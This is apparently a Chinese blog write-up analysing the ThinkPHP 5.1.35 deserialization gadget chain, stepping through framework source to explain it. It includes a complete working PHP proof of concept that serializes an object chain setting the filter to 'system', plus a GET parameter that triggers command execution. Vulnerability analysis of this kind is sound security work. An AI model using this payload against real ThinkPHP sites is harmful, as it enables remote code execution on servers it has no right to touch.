前言
TP5.1反序列化漏洞
这里我选用的版本是TP5.1.35
漏洞解析
漏洞复现
在index.php中写入测试代码:
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| <?php namespace think; abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->append = ["lin"=>["calc.exe","calc"]]; $this->data = ["lin"=>new Request()]; } } class Request { protected $hook = []; protected $filter = "system"; protected $config = [ 'var_ajax' => '_ajax', ]; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'pho']; $this->hook = ["visible"=>[$this,"isAjax"]]; } }
namespace think\process\pipes;
use think\model\concern\Conversion; use think\model\Pivot; class Windows { private $files = [];
public function __construct() { $this->files=[new Pivot()]; } } namespace think\model;
use think\Model;
class Pivot extends Model { }
use think\process\pipes\Windows; echo base64_encode(serialize(new Windows())); ?>
|
漏洞分析
想要获得一条反序列化链,首先得找到自动触发的魔术方法,比如__wakeup(),__call(),__destruct()
等魔术方法.经过一些的跳转。我们最终一般要触发的魔术方法是__call()
,因为这个魔术方法中一般执行的是call_user_func(),call_user_func_arry()
这两个函数,可以带来命令执行的效果
这条攻击链从/thinkphp/library/think/process/pipes/Windows.php
下的__destruct
作为入口
其中调用两个函数,这里我们利用第二个函数$this->removeFiles();
这个函数是用于删除临时文件的,其中的file_exists($filename)
可以利用:当我们将某类A的实例作为$filename
传入file_exists()
时就会触发,就会触发类A的魔术方法__toString
。
然后我们全局搜索public function __toString()
,看看哪个类的该方法可以作为跳板。
thinkphp\library\think\model\concern\Conversion.php
可能存在跳板
跟进这个函数
1 2 3 4
| public function __toString() { return $this->toJson(); }
|
跟进toJson()
跟进toArray()
,代码太多了,这里只跟进关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public function toArray() { ··· if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { $relation = $this->getRelation($key);
if (!$relation) { $relation = $this->getAttr($key); $relation->visible($name); } ··· }
|
之所以我们选择这一段作为关键代码:我们需要找到$可控变量->方法(参数可控)
的代码,这样子就可以调用某个类的实例中不存在的方法,从而调用该类中的__call()函数。其中最为关键的一行代码:
1
| $relation->visible([$attr]);
|
如果$relation
和$attr
都可控的话,这里就有一个跳板。
代码:$relation = $this->getRelation($key)
,跟进getRelation()
。
这里的$this->relation
来自于函数getRelation()
所在类RelationShip
,所以该变量我们未使用到该变量,所以无法保证array_key_exists($name,$this->relation)
能够得到满足。
所以$relation = $this->getRelation($key)
为空。
这样子就会进入代码:
1 2 3 4
| if (!$relation) { $relation = $this->getAttr($key); $relation->visible($name); }
|
全局搜索__call()
,选择一个合适的跳板。
所有的__call($method,$args)
都差不多,所以我们要选择进入call_user_func()
的两个参数可控的函数,作为跳板。
选择Request类
,其__call()魔术方法
代码如下:
其中args
以及$this->hook
都可控
因为前文说到我们的跳板为$relation->visible($name);
那么当调用Requests
类中一个不存在的函数visible()
时,调用__call()
可令$hook= {“visable”=>“任意method”}
,这样貌似能命令执行。
可是在__call()
中有代码如下:
1
| array_unshift($args, $this);
|
array_unshift()
函数用于向数组插入新元素,所以它会把当前这个类给加到args
中,如下:
1
| call_user_func_array([$obj,"任意方法"],[$this,任意参数])
|
这样子就很难做到命令执行。所以我们要在该类中寻找一个函数可以不需要传参,也就是不需要我们传递给它的args
在Requests类
中有函数filterValue()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| private function filterValue(&$value, $key, $filters) { $default = array_pop($filters);
foreach ($filters as $filter) { if (is_callable($filter)) { $value = call_user_func($filter, $value); } elseif (is_scalar($value)) { if (false !== strpos($filter, '/')) { if (!preg_match($filter, $value)) { $value = $default; break; } } elseif (!empty($filter)) { $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter)); if (false === $value) { $value = $default; break; } } } }
return $value; }
|
寻找哪里调用了这个函数
找到input()
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| public function input($data = [], $name = '', $default = null, $filter = '') { if (false === $name) { return $data; }
$name = (string) $name; if ('' != $name) { if (strpos($name, '/')) { list($name, $type) = explode('/', $name); }
$data = $this->getData($data, $name);
if (is_null($data)) { return $default; }
if (is_object($data)) { return $data; } }
$filter = $this->getFilter($filter, $default);
if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); if (version_compare(PHP_VERSION, '7.1.0', '<')) { $this->arrayReset($data); } } else { $this->filterValue($data, $name, $filter); }
|
哪里调用了input()
找到param()
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| public function param($name = '', $default = null, $filter = '') { if (!$this->mergeParam) { $method = $this->method(true);
switch ($method) { case 'POST': $vars = $this->post(false); break; case 'PUT': case 'DELETE': case 'PATCH': $vars = $this->put(false); break; default: $vars = []; }
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true; }
if (true === $name) { $file = $this->file(); $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter); }
return $this->input($this->param, $name, $default, $filter); }
|
哪里调用了param()
函数
找到了isAja()
其中的$this->param($this->config['var_ajax'])
,这里的$this->config['var_ajax']
是可控的。
整理一下如下图:
这里分析一下在input()
中的getData()
根据上图的路由,实际上经过函数getData()
后,data[$val] = data[$name]
跟进函数getFilter()
其中$filter = $filter ?: $this->filter;
所以$filter
可控
接着由于$data非数组
,跟进函数$this->filterValue($data, $name, $filter);
执行代码。
分析POC
首先构造POC
用来触发Requests
类的__call()
魔术方法
回到toArray()
函数,在Conversion类
中
1 2 3 4 5 6 7 8 9 10
| if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { $relation = $this->getRelation($key);
if (!$relation) { $relation = $this->getAttr($key); $relation->visible($name); }
|
这里分析一下getAttr()
,跟进该函数
然后跟进getData()
在Attribute
类中,$this->data
可控,$name
来自于getAttr()
的$name
,getAttr()
的$name
来自$this->append as $key => $name
所以构造:
1 2 3 4 5 6 7 8 9
| namespace think; abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->append = ["lin"=>["calc.exe","calc"]]; $this->data = ["lin"=>new Request()]; } }
|
这样子就有return $this->data['lin']=new Request();
这样子就能触发Request
类的__call()
这里的POC
使用Model类
的原因是$this->data
和getAttr()
分别来自两个类
只要Model
类同时继承了这两个类
POC
的第二部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| class Request { protected $hook = []; protected $filter = "system"; protected $config = [ 'var_ajax' => '_ajax', ]; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'pho']; $this->hook = ["visible"=>[$this,"isAjax"]]; } }
|
触发__call
1 2 3 4 5 6 7 8
| public function __call($method, $args) { if (array_key_exists($method, $this->hook)) { array_unshift($args, $this); return call_user_func_array($this->hook[$method], $args); } throw new Exception('method not exists:' . static::class . '->' . $method); }
|
这时有$this->hook[$method]=$this->hook['visible']=isAjax
,进而触发isAjax()
,然后触发input()
我们通过GET
请求发送的pho=whoami
,最终会使得在经过getData()
后,有$data['pho']=whoami
,并且$this->filter = "system";
,然后进入filterValue()
函数,触发call_user_func_arry()
执行system(whoami)
第三部分用于触发Model
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| namespace think\process\pipes;
use think\model\concern\Conversion; use think\model\Pivot; class Windows { private $files = [];
public function __construct() { $this->files=[new Pivot()]; } } namespace think\model;
use think\Model;
class Pivot extends Model { } use think\process\pipes\Windows; echo base64_encode(serialize(new Windows()));
|
这里Windows
下的$this->files
要创建一个Pivot
对象是因为Pivot
继承Model
但是我们只要use一下think\model\concern\Conversion
就会跳去Conversion下的__toString
方法
参考
https://blog.csdn.net/chasingin/article/details/103639547